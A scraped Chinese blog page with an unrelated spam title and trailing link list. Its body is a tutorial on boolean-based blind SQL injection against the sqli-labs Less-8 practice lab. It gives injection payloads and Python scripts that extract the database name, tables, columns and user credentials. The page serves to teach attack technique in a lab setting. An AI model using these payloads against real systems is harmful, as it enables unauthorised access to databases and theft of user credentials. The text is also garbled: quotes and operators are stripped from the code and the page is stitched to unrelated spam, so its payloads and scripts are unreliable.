当前位置: 首页 > news >正文

怎么给网站做外链邵连虎郑州做网页的公司

怎么给网站做外链邵连虎,郑州做网页的公司,自建网站成都,网站添加微信支付功能目录 1、布尔盲注 2、布尔盲注的流程#xff08;以靶场less-8为例#xff09; 2.1输入id尝试是否存在注入点 2.1.1通过以上尝试#xff0c;联想到可能是布尔盲注 2.2猜测数据库长度 2.3获取数据库名 2.3.1python脚本获取 代码#xff1a; 获取结果为#xff1a; …目录 1、布尔盲注 2、布尔盲注的流程以靶场less-8为例 2.1输入id尝试是否存在注入点 2.1.1通过以上尝试联想到可能是布尔盲注 2.2猜测数据库长度 2.3获取数据库名 2.3.1python脚本获取 代码 获取结果为 2.4获取表名 2.4.1count() 函数获取表名长度 2.4.2获取表名 代码 结果 2.5获取字段名 代码 结果 获取数据 1、布尔盲注 布尔盲注就是在SQL注入过程中SQL语句执行后查询到的数据不能回显到前端页面布尔盲注通常是由于开发者将报错信息屏蔽而导致的但是网页中真和假有着不同的回显比如为真时返回access为假时返回false或者为真时返回正常页面为假时跳转到错误页面等。不需要返回结果仅判断语句是否正常执行。 2、布尔盲注的流程以靶场less-8为例 2.1输入id尝试是否存在注入点 输入id1后显示为下图 输入id1 后显示与上方不同存在注入点 判断一下字段数?id1’ order by 3 --显示You are in… 尝试显示报错位?id1 union select 1,2,3 --仍然为You are in… 2.1.1通过以上尝试联想到可能是布尔盲注 2.2猜测数据库长度 确定数据库长度为8。 2.3获取数据库名 通过截取字符串的方式。函数substr(string, start, length) 截取字符串这个函数用来截取一个字符串从start位可以是第1位、第2位、第3位以此类推。每次截取length个字符。然后使用ascii()函数。其作用是将字符转换成对应的ascii值。 ?id1 and ascii(substr(database(),1,1))97-- 如上图所示如果数据库名的第一个字符的ascii码值等于97则页面显示正确的页面如果数据库名的第一个字符的ascii码值不等于97则页面显示错误的页面可以通过这种方式获取到数据库名但效率过于低下所以我们使用脚本来获取数据库名。 2.3.1python脚本获取 使用下列代码就可以获取到数据库名 代码 import timeimport requestsurl http://127.0.0.1/sqli-labs-master/less-8/index.phpdef inject_database(url):name for i in range(1, 20):for j in range(32, 129):payload 1 and ascii(substr(database(), %d, 1)) %d-- % (i, j)res {id: payload}r requests.get(url, paramsres)if You are in........... in r.text:name name chr(j)print(name)breakelse:continueinject_database(url) 获取结果为 2.4获取表名 2.4.1count() 函数获取表名长度 ?id1 and (ascii(substr((select table_name from information_schema.tables where table_schemadatabase()limit 0,1),1,1)))101 -- 由上图可见看出security下有四张表 2.4.2获取表名 利用下面的python脚本就可以获取到所有的表名 代码 import requestsurl http://127.0.0.1/sqli-labs-master/less-8/index.phpdef boolean_blind_inject(url):name for i in range(1, 50):low 32high 128while low high:mid (low high) // 2# 构造布尔盲注的payloadpayload 1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemasecurity),%d,1)) %d-- %(i, mid)params {id: payload} # 发送 GET 请求r requests.get(url, paramsparams)if You are in........... in r.text:low mid 1else:high midmid (low high) // 2if mid 32: breakname chr(mid)print(name)boolean_blind_inject(url) 结果 2.5获取字段名 利用表名可以获取到用户的账户和密码在users表中使用上面python脚本来获取字段名需要将刚才的python脚本中payload的内容换一下。 代码 import requestsurl http://127.0.0.1/sqli-labs-master/less-8/index.phpdef boolean_blind_inject(url):name for i in range(1, 50):low 32high 128while low high:mid (low high) // 2# 构造布尔盲注的payloadpayload 1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),%d,1)) %d-- %(i, mid)params {id: payload} # 使用 params 而不是 data# 发送 GET 请求r requests.get(url, paramsparams)# 根据页面内容或状态码判断是否注入成功if You are in........... in r.text:low mid 1else:high midmid (low high) // 2if mid 32: # 如果 mid 为 32则表示已经到达字符串的末尾breakname chr(mid)print(name)# 调用函数 boolean_blind_inject(url) 结果 获取数据 import requestsurl http://127.0.0.1/sqli-labs-master/less-8/index.phpdef boolean_blind_inject(url):name for i in range(1, 200):low 32high 128while low high:mid (low high) // 2# 构造布尔盲注的payloadpayload 1 and ascii(substr((select group_concat(username,id,password) from users),%d,1)) %d-- %(i, mid)params {id: payload} # 使用 params 而不是 data# 发送 GET 请求r requests.get(url, paramsparams)# 根据页面内容或状态码判断是否注入成功if You are in........... in r.text:low mid 1else:high midmid (low high) // 2if mid 32: # 如果 mid 为 32则表示已经到达字符串的末尾breakname chr(mid)print(name)# 调用函数 boolean_blind_inject(url) ok完成。
http://www.w-s-a.com/news/965475/

相关文章:

  • 重庆网站开发哪家好宁波网站建设caiyiduo
  • 手机网站建设价格手机网站模版更换技巧
  • 哈尔滨松北区建设局网站美妆网站建设
  • 不需要网站备案的空间网站推广的基本方法是哪四个
  • 如何检查网站死链劳动仲裁院内部网站建设
  • 江西省住房和城乡建设网站合同管理系统
  • 网站建设质量保证福州网络推广
  • 高唐网站建设公司广州南站在哪个区
  • 广西柳州网站制作公司郴州网红打卡景点
  • 做网站要固定ip拍摄公司宣传片制作
  • 专业微网站电话号码做软件难吗
  • 邢台网站制作哪家强上海做网站设计
  • 大连网站建设外贸wordpress添加文章属性
  • 商城网站建设合同范本网上哪里可以免费学编程
  • 服务器公司网站博客wordpress怎么编辑
  • 网站建设网络推广柯西乡塘网站建设
  • 企业做网站需要多少钱企业资质查询系统官网
  • 网站建设需要知识百度统计数据
  • 自已如何做网站建设通网站会员共享密码
  • 做网站学习什么wordpress 文件夹
  • 前端移动网站开发wordpress图文混排
  • 企业网站建站那种好商城类网站怎么优化
  • 手机微网站怎么制作的网上找设计师
  • 网站建设包括哪些方面学校网站 建设
  • 贵阳网站优化公司建筑设计师用什么软件
  • 网站建设的小说静态网页模板免费网站
  • 芜湖建设厅官方网站wordpress自动设置缩略图
  • 推荐网站网页湛江网站建设哪家优惠多
  • 传奇网站免费空间网店装修店面
  • 网站改版 重新收录湖南建筑信息一体化管理平台